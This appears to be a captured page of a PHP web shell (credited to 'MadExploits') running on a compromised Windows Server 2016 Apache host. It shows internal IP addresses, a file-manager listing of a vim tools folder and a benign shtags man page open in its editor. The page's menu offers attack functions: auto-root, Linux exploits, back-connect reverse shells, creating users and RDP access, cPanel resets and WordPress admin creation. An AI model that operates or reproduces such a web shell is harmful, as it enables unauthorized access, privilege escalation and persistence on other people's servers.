Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
share /
vim /
vim82 /
tools /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
1.11
KB
-rw-rw-rw-
ccfilter.1
2.17
KB
-rw-rw-rw-
ccfilter_README.txt
3.16
KB
-rw-rw-rw-
demoserver.py
3.26
KB
-rw-rw-rw-
efm_filter.pl
978
B
-rw-rw-rw-
efm_filter.txt
1.09
KB
-rw-rw-rw-
efm_perl.pl
3.65
KB
-rw-rw-rw-
emoji_list.vim
411
B
-rw-rw-rw-
mve.awk
484
B
-rw-rw-rw-
mve.txt
579
B
-rw-rw-rw-
pltags.pl
8.23
KB
-rw-rw-rw-
ref
137
B
-rw-rw-rw-
shtags.1
1.99
KB
-rw-rw-rw-
shtags.pl
3.27
KB
-rw-rw-rw-
unicode.vim
12.17
KB
-rw-rw-rw-
vim132
315
B
-rw-rw-rw-
vim_vs_net.cmd
798
B
-rwxrwxrwx
vimm
188
B
-rw-rw-rw-
vimspell.sh
1.43
KB
-rw-rw-rw-
vimspell.txt
819
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : shtags.1
.TH shtags 1 "local Utilities" .SH NAME shtags \- Create tags for shell scripts .SH SYNOPSIS .B shtags [\fI-mvw\fP] [\fI-t <file>\fP] [\fI-s <shell>\fP] <files> .SH DESCRIPTION \fBshtags\fP creates a \fBvi(1)\fP tags file for shell scripts - which essentially turns your code into a hypertext document. \fBshtags\fP attempts to create tags for all function and variable definitions, although this is a little difficult, because in most shell languages, variables don't need to be explicitly defined, and as such there is often no distinct "variable definition". If this is the case, \fBshtags\fP simply creates a tag for the first instance of a variable which is being set in a simple way, ie: \fIset x = 5\fP. .SH OPTIONS .IP "\fB-t <file>\fP" Name of tags file to create. (default is 'tags') .IP "\fB-s <shell>\fP" The name of the shell used by the script(s). By default, \fBshtags\fP tries to work out which is the appropriate shell for each file individually by looking at the first line of each file. This won't work however, if the script starts as a bourne shell script and tries to be clever about starting the shell it really wants. .b Currently supported shells are: .RS .IP \fBsh\fP Bourne Shell .IP \fBperl\fP Perl (versions 4 and 5) .IP \fBksh\fP Korn Shell .IP \fBtclsh\fP The TCL shell .IP \fBwish\fP The TK Windowing shell (same as tclsh) .RE .IP \fB-v\fP Include variable definitions (variables mentioned at the start of a line) .IP \fB-V\fP Print version information. .IP \fB-w\fP Suppress "duplicate tag" warning messages. .IP \fB-x\fP Explicitly create a new tags file. Normally new tags are merged with the old tags file. .PP \fBshtags\fP scans the specified files for subroutines and possibly variable definitions, and creates a \fBvi\fP style tags file. .SH FILES .IP \fBtags\fP A tags file contains a sorted list of tags, one tag per line. The format is the same as that used by \fBvi\fP(1) .SH AUTHOR Stephen Riehm .br sr@pc-plus.de .SH "SEE ALSO" ctags(1), etags(1), perl(1), tclsh(1), wish(1), sh(1), ksh(1).
Close